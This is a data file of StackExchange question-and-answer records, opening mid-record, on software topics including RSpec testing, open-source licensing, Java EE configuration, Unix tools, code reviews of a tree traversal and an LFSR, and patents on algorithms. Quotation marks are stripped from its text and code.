second_post = create(:content, published_at: Time.zone.now, category: @blog_category)        Content.latest_post.should eq second_post      end    end    context without existing posts do      it returns an nil object do        Content.latest_post.should eq nil      end    end  end  describe uses seo attributes when present do    before :each do      @it = create(:content)    end    context seo title present do      it returns seo title when present do        @it.seo.title.should eq @it.seo_title      end    end    context seo title non present do      it returns title when seo title is blank do        @it.seo_title =         @it.seo.title.should eq @it.title      end      it returns title when seo title is nil do        @it.seo_title = nil        @it.seo.title.should eq @it.title      end    end    context seo description present do      it returns seo description when present do        @it.seo.description.should eq @it.seo_description      end    end    context seo description non present do      it returns description when seo description is blank do        @it.seo_description =         @it.seo.description.should eq @it.summary      end      it returns description when seo description is nil do        @it.seo_description = nil        @it.seo.description.should eq @it.summary      end    end  endendspec/factories/contents.rbFactoryGirl.define do  factory :content do    association :category    title { Faker::Lorem.sentence }    summary { Faker::Lorem.sentence(10) }    body { Faker::Lorem.sentence(15) }    seo_title { Faker::Lorem.sentence }    seo_description { Faker::Lorem.sentence }    seo_keywords { Faker::Lorem.words(8).join(, ) }    published_at { Time.zone.now }    is_draft { false }    factory :published_three_weeks_ago_content do      published_at { 3.weeks.ago }    end    factory :expiring_in_two_weeks_content do      unpublished_at { 2.weeks.from_now }    end    factory :publish_in_tree_weeks_content do      published_at { 3.weeks.from_now }    end  endend"  , "title": "Testing a Content model"  , "tags": "ruby;ruby on rails;rspec"  , "accepted_answer": "Nice job.  Your tests are nicely compartmentalized.  It is indeed good to test the factory independently.  Good use of describe and context.Consider using the shoulda-matchers gemTests for many of the rails model associations and validations can be handled by the shoulda-matchers gem.  For example, this line:validates :title, presence: truecan be tested like so:it {should validate_presence_of(:title)}Consider using pendingHere's a commented-out test:# TODO: You shall not pass! (for now)# it is invalid when expiration date is malformed do#   build(:content, unpublished_at: !0$2-as-#{nil}).should_not be_valid# endRspec has a method for documenting tests that don't (and can't yet be made to) pass:it is invalid when expiration date is malformed do  pending  build(:content, unpublished_at: !0$2-as-#{nil}).should_not be_validendThe nice thing about pending is that it shows up in the test output, making it less easily forgotten than commented-out code.  Also, you can give a reason, e.g.:pending Can't pass until the vendor fixes library xyzFor clarity, Consider redoing things the factory didThis test:context seo description present do  it returns seo description when present do    @it.seo.description.should eq @it.seo_description  endendRelies upon the factory having having set the description, but the factory is a long way from the test.  This would be clearer if explicit:context seo description present do  it returns seo description when present do    @it.seo_description = 'foo bar baz'    @it.seo.description.should eq @it.seo_description  endendConsider using subjectSome of your test sets a variable in a before block and later tests that variable:before :each do      @it = create(:content)    endcontext seo title present do  it returns seo title when present do    @it.seo.title.should eq @it.seo_title  endendInstead of assigning to a variable, rspec lets you declare a subject:subject {create(:content)}Once you've declared a subject, some snazzy syntax becomes available to you:its('seo.title') {should == subject.title}subject.seo_title is a little awkward, so rspec lets you name your subject:subject(:content) {create(:content)}its('seo.title') {should == content.title}Consider using let along with subjectIn rspec, let defines a memoized, lazily-evaluated value.  When used with subject, this can DRY up a spec:describe seo.title do  let(:title) {'title'}  subject {create :content, :title => title, :seo_title => seo_title}  context 'seo title present' do    let(:seo_title) {'seo title'}    its('seo.title') {should eq seo_title}  end  context 'seo title missing' do    let(:seo_title) {nil}    its('seo.title') {should eq title}  endend"  } 
{  "id": "_scicomp.2414"  , "question": "As motivation, consider a function which is smooth and continuous but for some reason it is very expensive to perform routine calculations of finding the Laplacian on it (maybe because it is over a large domain, etc.).Given an original function, say, in one dimension, is it possible to estimate (or slightly overestimate) the maximum absolute value (i.e., the magnitude) of the Laplacian of that function anywhere over its given domain (without actually computing the Laplacian at all points and just finding the maximum)?To start discussion, perhaps this can be done my taking a subset of points along the known function and using them as a basis for the estimate."  , "title": "Estimating the maximum absolute value (magnitude) of the Laplacian for a given function?"  , "tags": "numerics;algorithms"  } 
{  "id": "_softwareengineering.304959"  , "question": "I've started my own open source project, which is still in an early phase of development. I chose to use the MIT license for it. However, I've read that the Apache license is better for large projects, and it's going to become a large project later. So, I plan to study the Apache license later, and consider it for my project when the project becomes stable.Could transitioning from the MIT to the Apache license create any legal issues? Does a late transition involve any more risks?Disclaimer: I'm a programmer, not a lawyer."  , "title": "Could there by any issues with transition from MIT to Apache License?"  , "tags": "licensing;mit license;apache license"  , "accepted_answer": "The owner, or copyright holder of the project is the one who gets to decide what license to use on each distribution of that project. The owner is completely free to use different licenses on different distributions.The tricky points to keep in mind are:1) If others contribute to the project, then you are no longer the sole owner, so changing the license would have to involve getting multiple people together to agree on it. If you're going the typical open source route of allowing pull requests from pretty much anyone, this can be a problem.2) The copies of the project that you have already distributed cannot have their licenses retroactively changed. The change can only apply to new distributions. In particular, anyone who has received old copies of the project under MIT is perfectly free to distribute copies of their copy under any license they please (since the MIT license imposes no restrictions on this behavior).3) Some people have strong opinions on licensing issues, and some people get understandably nervous when licenses change. So if you do have a non-trivial user base when you make this change, then you should post a very clear and specific explanation of why you want to make this change, solely for PR reasons. In particular, at the risk of taking your question too literally, you should have a more specific reason than because Apache is better for big projects and we are big now.Note that I am using the term distribution instead of version because it is fairly commonplace to release the same version of a program under multiple licenses, for various reasons. For instance, you may release a program for free under a copyleft license, while at the same time allowing corporations to purchase a version with a more permissive or closed source license. The version the corporations purchase would simply have different LICENSE, COPYRIGHT and/or README files.But in all honesty, MIT to Apache is not a huge change. It should be a perfectly harmless transition as long as you're aware of these potential issues ahead of time."  } 
{  "id": "_cseducators.3170"  , "question": "I'm really looking for opinions from expertsI have been asked to teach a group of students How To Program, these students are really new to programming.What I want is to make them like programming and enjoy doing it (as I do), so which programming language should be used to teach them, in order to achieve that goal?The students are about 17 to 22 years old, and there are 25 students in the group.My background lies in 9 years of programming experience. I had used many programming languages like C++, Java, VB.NET, C#, JavaScript, PHP, Swift, Python."  , "title": "Which of the following programming languages will help me better to teach the basic concepts of CS and why?"  , "tags": "language choice"  } 
{  "id": "_softwareengineering.309151"  , "question": "My application is a generic enterprise application which can be deployed on any application server running on any OS.I don't know how/where to configure my application, except for the database information which are stored in the application server as datasource.While it's easy to do, I could use the database as a configuration container, but... the database shouldn't contain the configuration elements: I want to be able to use any database in any environment (dev, test, acceptance, production).Does Java EE offer any kind of configuration management similar to what is offered to the datasources? If yes, what is it? If not, what is the best practice on this?I often read the following advice: put these items in a properties file on the server. Fine, but in that case the location to the properties file becomes a configuration item in itself, so where/how do I define the location of that properties file and transmit that info to my application?"  , "title": "How to access environment-specific configuration in an enterprise application?"  , "tags": "java;java ee;configuration"  , "accepted_answer": "There are a couple options that present themselves in this case.The first, is the properties file.  Its location is somewhere and typically in the class path.  Typically, you will see it coupled with the getResource family of calls.Properties prop = new Properties();prop.load(this.getClass().getResourceAsStream(stuff.properties);Now, if you don't have the property file in the classpath, you could specify it in the system properties which can be accessed through the System class as described here.With the invocation of: java -Dtest=true -jar myApplication.jar the value can be extracted with: System.getProperty(test) and then used either to specify other resources or being a resource itself.  While it isn't immediately visible with many application servers, its still there, somewhere.  In Eclipse, you can easily see them by going to the run configuration and look at the VM arguments.Similar to the system properties, there are the environment properties accessed through System.getenv.  The rest of that set of documents is a good read - The Platform Enviroment.  While it speaks mostly to Java SE, nearly everything in it is still applicable and an option for Java EE (I don't think you'll be looking at Java Web Start or Java applets).Moving to the realm of the application server, we get to the names stored in the context of the application or server.InitialContext ic = new InitialContext();loc = (String) ic.lookup(java:com/env/app/location);This value is actually stored in the server configuration itself.  The documentation for tomcat.  Note that each app server is different and you might get some ugliness in there.  The only difference between the database from JNDI and a string is the type that it presents.  One is a DataSource, the other is a String."  } 
{  "id": "_softwareengineering.272506"  , "question": "I have just started a new personal project (Python), and am writing what amounts to a rough draft of the program, the minimum required to do what I want to do. I am not yet putting in extensive error/exception handling or aesthetic UI elements (even in cases where I know these things will ultimately be needed), and the documentation is just enough to help future me see what I was doing.Is it against any set principles of project design/management to start so rough? I am a scientist, not a programmer, so am not up to speed on these things. So the main question is, is there a consensus on where one should aim to fall between the two extremes of:Write thorough, high-quality code from the start, with all the exceptionhandling and such that you know you will ultimately need.Write a minimally working rough draft from the start, and go in to fill in all theminutiae later.Related question: When is it OK to sacrifice the neatness of the design to get a project done?"  , "title": "How much detail to put into first iteration of project?"  , "tags": "design;project management;time management"  , "accepted_answer": "There is no single answer, as this depends entirely on the project.  We need to think about two things here.  What is your eventual target?  How do you expect to get there?End ResultAre you writing Mars Orbiter control software?  Then you better make damn sure you are writing the most robust code possible,  You better be check every exception is handled in a sane matter.Are you writing a program that only you will run, and you'll only run manually every once in a while?  Then don't bother with exceptions.  Don't bother with heavy architecture.  Get it working to the point where it works for you.How do you expect to get there?Are you doing heavy waterfall development, where you spend lots of time figuring out what is needed, and then you will go off for months, developing?  If so, then you want to hit that target quality mentioned above fairly early.  Get all your error checking infrastructure planned out at the start.Are you doing heavy agile development, where you are putting something together for a week or two, which will then be shown to stakeholders, who may ask for radical revisions, and where you expect to be able to iterate over many 1-2 wee sprints until you hit the target?  Then you may be better off getting something working, but fragile together fast, and only adding belts-and-suspenders as the product requirements solidify.If you are in control over the waterfall or agile decision (which is actually a continuum not a binary choice) then make that decision based on expected change.  If you are sure you know exactly what the end result will look like, then waterfall is your best choice.  If you only have a vague notion of what you need to end up with, agile is your best choice.  (Agile is more popular these days not because it is inherently better but because the second situation is far more common.)Now find your own answerFor most, the answer will lie somewhere in the middle.  Answer both those questions about your project, and it should lead you in a basic direction.I can say that for myself, if I often write one-off scripts that are abysmally designed and have no error checking whatever.  I also handle production code, where error handling and architecture get large amounts of attention.  It all depends on what you are doing.One final caveat:  If you decide you are doing one-off scripts that can be done quick-and-dirty, make sure.  Unfortunately, it often happens that quick-and-dirty scripts that do something interesting get leveraged into broad usage when others notice them.  Make sure that when this happens, time is given for hardening."  } 
{  "id": "_webmaster.38112"  , "question": "This is going to sound terrible, but bear with me. I currently have a cron job that does a mysql dump, a git add all and commit, and a git push to bitbucket. I set this up almost a year ago, when I didn't know much about git, backups, and general web development and administration. I haven't had the time to fix this and do it properly, but the repo has now grown quite big from accumulating large temporary files from my forum, so now I have to do something and I want to do it properly this time around.What processes do semi-large websites and personal site admins use for backing up server content? Based on what I've learned since I set this up, what I'm currently think of doing is:Making changes on a development domain and committing the code frequentlyArchiving the entire site after a successful deployment from the development domainHaving automatic daily database and user-content backups. I still like the idea of backing up sqldumps with git, though. I know git isn't a backup tool and that this is beyond its purpose, but the textual queries that are exported would be easily managed by git and would save a lot of space in archives. "  , "title": "What's the canonical process for backing up a website?"  , "tags": "web hosting;web development;backups;administration;git"  } 
{  "id": "_webmaster.37758"  , "question": "I've done searching for my answer and have tested a few solutions, but nothing has worked so far. I'm trying to get a URL like this http://baseball.sports.com to rewrite to http://pro.sports.com/baseball-index.php.However, I still need to keep the domain the same (http://baseball.sports.com). The reason being I have about 5 subdomains (baseball, football, soccer, etc.) that I want to run off the same code base (pro.sports.com). Everything is on the same server. I'd be happy to answer any other questions that would help me get a resolution. I truly appreciate any direction that can be given to me to solve this."  , "title": "How can I rewrite a subdomain to go to a specific file in a specific folder?"  , "tags": "apache;htaccess;redirects"  } 
{  "id": "_webmaster.101519"  , "question": "I've added meta description tag weeks ago. For some reason, Google is displaying blockqoute text and text around it, in search results instead of text from description tag. Do you have any experience with such problems? What is the common way to fix this? The two tags are shown below.<meta name=description content=my text here><blockquote class=quotes>Blockquote text goes here</blockquote><div class=pers><span> <b>Some text,</b></span><span class=weak> Another text</span></div>"  , "title": "google doesn't display contents of description tag in search resutls"  , "tags": "seo;meta description"  } 
{  "id": "_unix.345725"  , "question": "Currently I run kernel with amd64-generic config and grsecurity applied. Will making config without everything I don't need provide me somehow 'GOOD' profit? Cause compiling time and kernel size are not problems. Also small things like 'speed up boot for 0.5%' does not matter. I built PC by myself so I know necessary specs. Thank you!"  , "title": "Will compiling linux kernel with low-config give any benefits compare to Ubuntu kernel?"  , "tags": "linux kernel;configuration;optimization"  } 
{  "id": "_unix.291752"  , "question": "Is there any way to make mouse moves faster? I'm using 4K display, and 10x acceleration still too slow."  , "title": "Faster mouse acceleration on XFCE4"  , "tags": "mouse"  } 
{  "id": "_codereview.45893"  , "question": "Please let me know your thoughts on the code below, please be brutal. Here is the question I solved:Given a binary tree, return the zigzag level order traversal of its nodes' values. (ie, from left to right, then right to left for the next level and alternate between).For example:Given binary tree {3,9,20,#,#,15,7},    3   / \\  9  20    /  \\   15   7return its zigzag level order traversal as:[  [3],  [20,9],  [15,7]]   public ArrayList<ArrayList<Integer>> zigzagLevelOrder(TreeNode root) {        ArrayList<ArrayList<Integer>> res = new ArrayList<>();        Queue<TreeNode> queue = new LinkedList<>();        if(root==null){            return res;        }        ArrayList<Integer> level = new ArrayList<Integer>();        level.add(root.val);        res.add(level);        int depth=1;        queue.add(root);        TreeNode empty = new TreeNode(2);        queue.add(null);        level = new ArrayList<Integer>();        while(!queue.isEmpty()){            TreeNode curr = queue.poll();            if(curr==null){                if(!queue.isEmpty()){                    queue.add(null);                }                else{                    break;                }                res.add(level);                level = new ArrayList<Integer>();                depth++;            }            else{                if(depth%2==0){                    if(curr.left!=null){                        level.add(curr.left.val);                        queue.add(curr.left);                    }                    if(curr.right!=null){                        level.add(curr.right.val);                        queue.add(curr.right);                    }                }                else{                    if(curr.right!=null){                        level.add(curr.right.val);                        queue.add(curr.right);                    }                    if(curr.left!=null){                        level.add(curr.left.val);                        queue.add(curr.left);                    }                }            }        }        return res;    }"  , "title": "ZigZag order of a tree traversal"  , "tags": "java;algorithm;interview questions"  , "accepted_answer": "Just the first few steps of refactoring:ArrayList<...> reference types should be simply List<...>:List<List<Integer>> res = new ArrayList<>();See: Effective Java, 2nd edition, Item 52: Refer to objects by their interfacesThis variable is never used, remove it:TreeNode empty = new TreeNode(2);I would avoid abbreviations like res, curr and val. They are not too readable and I suppose you have autocomplete (if not, use an IDE, it helps a lot), so using longer names does not mean more typing but it would help readers and maintainers a lot since they don't have to remember the purpose of each variable - the name would express the programmers intent and would not force readers to decode the abbreviations every time they read/maintain the code.Furthermore, if you type resu and press Ctrl+Space for autocomplete in Eclipse it founds nothing which is rather disturbing.These two lines are duplicated:level.add(curr.left.val);queue.add(curr.left);You could extract out a method for that: private void visit(List<Integer> level, Queue<TreeNode> queue, TreeNode left) {    level.add(left.val);    queue.add(left);}After that you might notice the similarity between the method above and the body of the following if statement:if(curr.right!=null){    level.add(curr.right.val);    queue.add(curr.right);}You could use the same method here too:if (curr.right != null) {    visit(level, queue, curr.right);}Of course, renaming the method's parameter will increase clarity:private void visit(List<Integer> level, Queue<TreeNode> queue, TreeNode node) {    level.add(node.val);    queue.add(node);}So, currently the end of the original method looks like the following:if (depth % 2 == 0) {    if (curr.left != null) {        visit(level, queue, curr.left);    }    if (curr.right != null) {        visit(level, queue, curr.right);    }} else {    if (curr.right != null) {        visit(level, queue, curr.right);    }    if (curr.left != null) {        visit(level, queue, curr.left);    }}You could remove some more duplication by moving the null check into the visit method:private void visit(List<Integer> level, Queue<TreeNode> queue, TreeNode node) {    if (node == null) {        return;    }    level.add(node.val);    queue.add(node);}(I've used a guard clause here to make the code flatten.)Usage:if (depth % 2 == 0) {    visit(level, queue, currentNode.left);    visit(level, queue, currentNode.right);} else {    visit(level, queue, currentNode.right);    visit(level, queue, currentNode.left);}I would also invert the condition here to get a guard clause:if(!queue.isEmpty()){    queue.add(null);}else{    break;}Result:if (queue.isEmpty()) {    break;}queue.add(null);There are seven lines between the declaration of the queue and its first usage:Queue<TreeNode> queue = new LinkedList<>();if (root == null) {    return result;}List<Integer> level = new ArrayList<Integer>();level.add(root.val);result.add(level);int depth = 1;queue.add(root);It could have smaller scope and could be closer to its first usage:if (root == null) {    return result;}List<Integer> level = new ArrayList<Integer>();level.add(root.val);result.add(level);int depth = 1;Queue<TreeNode> queue = new LinkedList<>();queue.add(root);(Effective Java, Second Edition, Item 45: Minimize the scope of local variables)"  } 
{  "id": "_unix.26501"  , "question": "What's the difference between patch -p0 and patch -p1?Is there any difference at all?"  , "title": "When patching what's the difference between arguments -p0 and -p1?"  , "tags": "patch"  , "accepted_answer": "The most common way to create a patch is to run the diff command or some version control's built-in diff-like command. Sometimes, you're just comparing two files, and you run diff like this:diff -u version_by_alice.txt version_by_bob.txt >alice_to_bob.patchThen you get a patch that contains changes for one file and doesn't contain a file name at all. When you apply that patch, you need to specify which file you want to apply it to:patch <alice_to_bob.patch version2_by_alice.txtOften, you're comparing two versions of a whole multi-file project contained in a directory. A typical invocation of diff looks like this:diff -ru old_version new_version >some.patchThen the patch contains file names, given in header lines like diff -ru old_version/dir/file new_version/dir/file. You need to tell patch to strip the prefix (old_version or new_version) from the file name. That's what -p1 means: strip one level of directory.Sometimes, the header lines in the patch contain the file name directly with no lead-up. This is common with version control systems; for example cvs diff produces header lines that look like diff -r1.42 foo. Then there is no prefix to strip, so you must specify -p0.In the special case when there are no subdirectories in the trees that you're comparing, no -p option is necessary: patch will discard all the directory part of the file names. But most of the time, you do need either -p0 or -p1, depending on how the patch was produced."  } 
{  "id": "_unix.251417"  , "question": "I am trying to Enable Remote Connections after installing the chrome web app as well as the chrome remote desktop service as per the following article:https://support.google.com/chrome/answer/1649523?hl=enI am trying to get it working on Debian Jessie. After installation, it seemed to work briefly. i was able to RDP into my Linux box from my Mac. But after a reboot of my Linux machine, i kept getting the following error:Failed to start host servicePlease help. Thanks in advance."  , "title": "chrome remote desktop gives Failed to start host service error"  , "tags": "debian;chrome;remote desktop"  } 
{  "id": "_vi.9962"  , "question": "Is there a way to get filetype for given extension or filenameFor example:let my_f='text.rb'let my_ft=GetFileType(my_f)echo my_ft should output ruby"  , "title": "Get filetype by extension or filename in vimscript"  , "tags": "vimscript"  } 
{  "id": "_unix.15012"  , "question": "In my code I generate a .dat file which is of the format:x \\t y \\t z \\t charge \\t type \\t IDThere are about 3000 lines in the file and I want to display sphere (of radius 1 in my units). I tried to use paraview, pymol and rasmol. Paraview doesn't understand my file format. With pymol and rasmol I couldn't understand how they loaded my data. Do any of you know how to load data which is not in pdb format into pymol or rasmol? Also, I want to color the beads according to the last 3 properties is there any other way?I should note that I need the ability to browse through the 3d picture I get. My question might not be clear so please ask me for any clarification I might give."  , "title": "How to display my data (molecules)?"  , "tags": "software rec;scientific linux"  , "accepted_answer": "I think it is pretty obvious -- convert your data to the format accepted by the program you would like to use (idea the program should somehow read your custom format is, ekhem, naive?)."  } 
{  "id": "_codereview.171900"  , "question": "I haven't found any implementation in C# of the LFSR so accordling to Wikipedia i have implment it to myself.https://en.wikipedia.org/wiki/Linear-feedback_shift_registerMy implementation accept some parameter so can be adapted to various feedback polynomials (my refernce table)https://web.archive.org/web/20161007061934/http://courses.cse.tamu.edu/csce680/walker/lfsr_table.pdfFor the testing pahse i generate as many number as the cycle will allow before a repetiton (i use a byte to my testing purpose).EDITED (PROBLEM SOLVED IT WAS DUE A TYPO, QUESTION REPHRASED AT THE END)The strange thing is in my test the period is exactly half of what expected/declared by the paper (not (2^n)-1 but 2^(n-1)).Here is my LFSR implementation public class Register{    private bool[] _register = null ;    private bool[] _feedbackPoints = new bool[256] ;    private int _registerLength = 0 ;    public Register ( int length, int [] feedbackPoints ) : this ( length , feedbackPoints , new byte [0] ) {}    public Register ( int length, int [] feedbackPoints, byte [] seed )    {        if ( length > 256 )            throw new ArgumentOutOfRangeException ( length , Alloewed vaues need to be between 1 and 256 ) ;        _registerLength = length ;        _register = new bool[length] ;        foreach ( int feedbackPoint in feedbackPoints )            if ( feedbackPoint > 256 )                throw new ArgumentOutOfRangeException ( feedbackPoints, Alloewed vaues of item of array need to be between 1 and 256 ) ;            else                 _feedbackPoints[feedbackPoint] = true ;        byte [] randomizedSeed = this.SeedRandomization ( seed ) ;        string temporaryRegisterRepresantation = string.Empty ;        foreach ( byte seedItem in randomizedSeed )            temporaryRegisterRepresantation += Convert.ToString ( seedItem , 2 ) ;        int index = 0 ;        foreach ( char bit in temporaryRegisterRepresantation )            if ( index < length )                _register[index++] = bit == '1' ;    }    public bool Clock ()    {        lock ( this )        {            bool output = _register[0] ;            for ( int index = 0; index < _registerLength - 1; index++ )                _register[index] = _feedbackPoints[index] ? _register [index+1] ^ output : _register [index+1] ;            _register [_registerLength - 1] = output ;            return output ;        }    }    private byte[] SeedRandomization ( byte[] inputSeed )    {        SHA256Managed sha256 = new SHA256Managed ();        int seedLength = inputSeed.Length ;        byte [] seed = new byte [seedLength] ;        Array.Copy ( inputSeed , seed , seedLength ) ;        Array.Resize<byte> ( ref seed , seedLength + 4 ) ;        byte[] dateTime = BitConverter.GetBytes ( DateTime.Now.Ticks ) ;        seed[seedLength] = dateTime[0] ;        seed[seedLength+1] = dateTime[1] ;        seed[seedLength+2] = dateTime[2] ;        seed[seedLength+3] = dateTime[3] ;        return sha256.ComputeHash ( seed , 0 , seed.Length ) ;    }}And there is my testing code class Program{    static void Main ( string [] args )    {        Dictionary<int, bool> tester = new Dictionary<int, bool> ();        List<int> duplicate = new List<int> ();        Register register_1 = new Register ( 8 , new int[] { 5,4,3 } ) ;        for ( int index = 0; index < 256; index++ )        {            bool b00 = register_1.Clock ();            bool b01 = register_1.Clock ();            bool b02 = register_1.Clock ();            bool b03 = register_1.Clock ();            bool b04 = register_1.Clock ();            bool b05 = register_1.Clock ();            bool b06 = register_1.Clock ();            bool b07 = register_1.Clock ();            BitArray bitArray = new BitArray ( new bool [] { b00, b01, b02, b03, b04, b05, b06, b07 } );            int [] array = new int [1];            bitArray.CopyTo ( array, 0 );            if ( !tester.ContainsKey ( array[0] ) )                tester.Add ( array [0], true ) ;            else                 duplicate.Add ( array[0] ) ;        }        duplicate = duplicate.OrderBy ( x => x ).ToList() ;    }}I have manually followed the implementation with 2bit LFSR and i see nothing wrong about it, so i would ask if there are any fallacies in my test or implementation.EDITEDI have found my fault, i have omitted to write b00 so is correct that the period is exactly half of what expected.I keep the code but renew my question, now i wold ask if you found any issue with current implementation (that seems to work with current test)."  , "title": "Linear Feedback Shift Register"  , "tags": "c#;cryptography"  , "accepted_answer": "I totally agree with @Maxim about the spacing but need to say, that you didn't use spaces where you should for the sake of readability.This  seed[seedLength] = dateTime[0] ;seed[seedLength+1] = dateTime[1] ;seed[seedLength+2] = dateTime[2] ;seed[seedLength+3] = dateTime[3] ;would be more readable if you place spaces like so  seed[seedLength] = dateTime[0];seed[seedLength + 1] = dateTime[1];seed[seedLength + 2] = dateTime[2];seed[seedLength + 3] = dateTime[3];   Omitting braces {}, although they might be optional, can lead to hidden and therefor hard to track bugs. I would like to encourage you to always use them. This will avoid hidden bugs and the code looks better structured.  SeedRandomization ()The SHA256Managed class implements IDisposable through inheriting  HashAlgorithm so you should enclose its usage in a using block.  These variables  private bool[] _register = null ;private bool[] _feedbackPoints = new bool[256] ;private int _registerLength = 0 ;  should be made readonly because they won't change anywhere except in the constructor.A little LINQ could simplify this  foreach ( int feedbackPoint in feedbackPoints )    if ( feedbackPoint > 256 )        throw new ArgumentOutOfRangeException ( feedbackPoints, Alloewed vaues of item of array need to be between 1 and 256 ) ;    else         _feedbackPoints[feedbackPoint] = true ;but do you spot the spelling error which happened by using copy&pasta not carefully ?  At least I would place the part about feedbackPoint > 256 at the top of the constructor where the input parameter validation belongs.  A simple if (feedbackPoints.Any(p => p > 256)) {    throw new ArgumentOutOfRangeException ( feedbackPoints, Allowed vaues of item of array need to be between 1 and 256 ) ;}  could do the validation.But what about the length parameter ? Passing length == -1 seems valid but will throw an OverflowException at _register = new bool[length] ;.  In addition the messages of the ArgumentOutOfRangeException's states ..... need to be between 1 and 256 but you only check in both cases value > 256 without checking the lower boundaries. If I read between 1 and 256 I will think that the allowed values are 2...255 but this could be because I am not native english.string temporaryRegisterRepresantation = string.Empty ;foreach ( byte seedItem in randomizedSeed )    temporaryRegisterRepresantation += Convert.ToString ( seedItem , 2 ) ;  each time string += string happens a new string object is created because strings are immutable. If you want to concatenate strings in a loop most of the times it is better (time and space) to use a StringBuilder.  "  } 
{  "id": "_unix.91934"  , "question": "I want to know why is this argument so important when lauching nautilus or pcmanfm. What happens if i don't?Also, i want to know what is the meaning of %U for:Exec=pcmanfm %U"  , "title": "--no-desktop and %U what for?"  , "tags": "gnome;nautilus;arguments;file manager"  , "accepted_answer": "There is an instance of Nautilus running behind the scenes that's managing your desktop, so when you run subsequent instances of Nautilus the --no-desktop is telling Nautilus not to try to manage the desktop icons etc.The %U means to pass in a list of URLS:%U   A list of URLs. Each URL is passed as a separate argument to the      executable program. Local files may either be passed as file: URLs      or as file path.The rest of the list can be found here in the The Exec key section of the freedesktop.org documentation. Here are the rest.excerptCode    Description----    -----------%f       A single file name, even if multiple files are selected. The system          reading the desktop entry should recognize that the program in          question cannot handle multiple file arguments, and it should          should probably spawn and execute multiple copies of a program          for each selected file if the program is not able to handle          additional file arguments. If files are not on the local file          system (i.e. are on HTTP or FTP locations), the files will be          copied to the local file system and %f will be expanded to point          at the temporary file. Used for programs that do not understand          the URL syntax.%F       A list of files. Use for apps that can open several local files          at once. Each file is passed as a separate argument to the          executable program.%u       A single URL. Local files may either be passed as file: URLs or          as file path.%U       A list of URLs. Each URL is passed as a separate argument to the         executable program. Local files may either be passed as file: URLs         or as file path.%d       Deprecated.%D       Deprecated.%n       Deprecated.%N       Deprecated.%i       The Icon key of the desktop entry expanded as two arguments, first          --icon and then the value of the Icon key. Should not expand to any          arguments if the Icon key is empty or missing.%c       The translated name of the application as listed in the appropriate         Name key in the desktop entry.%k       The location of the desktop file as either a URI (if for example         gotten from the vfolder system) or a local filename or empty if no          location is known.%v       Deprecated.%m       Deprecated."  } 
{  "id": "_softwareengineering.298969"  , "question": "I currently experimenting with DSLs with xtext. I want to implement a quick fix for the dsl I'm writing and I'm wondering, if there is a possibility in xtext or xtend hook (or something else) to generate a dsl fragment code from the DSL grammar and a given Ecore node.For example Model:  entities+=Entity*;Entity:  'entity' name = ID  ('extends' superType=[Entity])? '{'         attributes += Attribute*   '}';I validate that the Supertype may not exist, and I want to suggest a Quickfix (Ctrl+1) to create a new Entity. I know how to do the validation part and know where to implement the quickfix. But since the DSL is in development i do not want to write two code generators (one for creating DSL code, and the second for the code derived from the model) since the DSL is subject to change. I guess, that there could be a more general solution, since the grammar is known, because of the xtext grammar definition and the Ecore node I want to create, whose name I know from the validator. I also guess I am not the only one providing such a feature and thus I assume there is already a solution which i did not found yet.My Question, is there a generic way in xtext/xtend building an ecore node or AST and serialize that AST back into xtext based DSL using the xtext grammar?"  , "title": "Create parts of DSL as Quickfix from xtext grammar"  , "tags": "dsl"  , "accepted_answer": "Yes, there is exactly that. You can provide your quickfix as a semantic modification to the EMF resource. Xtext's serialization mechanism will figure out how to convert your changes to the AST back to text.Something along these lines should do the trick:@Fix(MISSING_SUPERTYPE_ID)public void fixupSupertype(final Issue issue, IssueResolutionAcceptor acceptor) {    acceptor.accept(issue, label, description, null, new ISemanticModification() {        @Override        public void apply(EObject element, IModificationContext context) {            Model model = (Model)element.eResource().getContents().get(0);            Entity newEntity = MyDslFactory.eInstance().createEntity()            model.getEntities().add(newEntity);            ((Entity)element).setSuperType(newEntity);        }    });}"  } 
{  "id": "_unix.40920"  , "question": "For example, if I did an ssh -X to localhost and invoked Firefox, would that be enough to be considered safe browsing, like if done on some public wifi?"  , "title": "Is encrypting your web browsing via SSH to localhost useful?"  , "tags": "ssh;security;browser;web"  } 
{  "id": "_softwareengineering.283556"  , "question": "TL;DR: Can you publicly release your own implementation of a patented algorithm as a free research tool for others, under the GPL, when you do not hold the patent (but will happily give clear and thorough attribution to the owners of the patent)? see below for clarification.First off, apologies if this question has already been answered.  After ~30 minutes of googling and stack-exchanging, I haven't found anything that quite answers what I'm facing.I work in an academic group and part of our work has been implementing a CT reconstruction algorithm similar to what is done clinically by a major manufacturer.  This manufacturer has a patent that definitely covers what we have implemented.  (I did the implementation from a paper published almost 10 years earlier, only to find that they had also patented the algorithm a little over a year ago. Damn.)They have a patent on the method of reconstruction and several of the equations utilized, but no source code or anything of the sort.  The code implementation is 100% unique to our group. We're talking patents, not copyright.We are planning to write a technical note about our implementation (gpu-based, more detail on how we implemented the published algorithms (i.e. much more detail than what's patented), etc. all stuff which is not described in the patent) for publication in a major journal ** AND ** this would include releasing our source code.  I would like to release it under GPLv2.0 to provide folks with a research tool.The GPL would prevent us and anyone down the road from using our code in proprietary software, and if anyone were to use it to make money, they would have to pay rights to the patent owner (and release any code derived from ours). I would like to somehow make clear that we are not claiming any rights to the algorithm, and the only the implementation would be covered by the GPL, however I recognize this distinction may not be possible under the current US legal setup (blegh).Even if we could somehow make that distinction clear when/if we release, are we violating any of their rights with the patent?  I'm thinking they would have to somehow show that our release damaged their business covered by the patent.  Any thoughts from more experienced folks are much appreciated!  I think this may be kind of a gray area (or not! I'm not a lawyer! haha).We do NOT wish to infringe upon the patent and don't pretend to have any claim to.  We have a good relationship with the vendor, so we'll most likely end up figuring it out with them, but if they said no, I was curious if it's just because of their feels or if thay have a legitimate claim against our group."  , "title": "GPLing an implementation of a patented algorithm"  , "tags": "algorithms;open source;gpl;patents"  , "accepted_answer": "The short answerIn order to license something to others, you have to hold the rights to it.  So your ability to license your code covered by the patent may depend on what you can work out with the patent holder.The long answerThere are a number of ways this can go.  You can get a release from the patent holder.  You can release your code and hope the patent holder doesn't care; they might not.  You can come up with an algorithm that is unencumbered by the patent.  You can pay a negotiated patent royalty.Whether anyone makes money from the GPL'd code may not matter, if public dissemination of the code hinders their ability to profit from the invention. The choice of license may not matter either; it's still a patent issue whether the source code is copyleft or not (though your vendor might have a preference as to which license you actually use).The actual answerThis is one of those times where it might be useful to consult an attorney that specializes in patent and licensing law.  They can not only advise you how far you can go with your source code without invoking the patent, but also how an agreement can be correctly crafted between you and the vendor."  } 
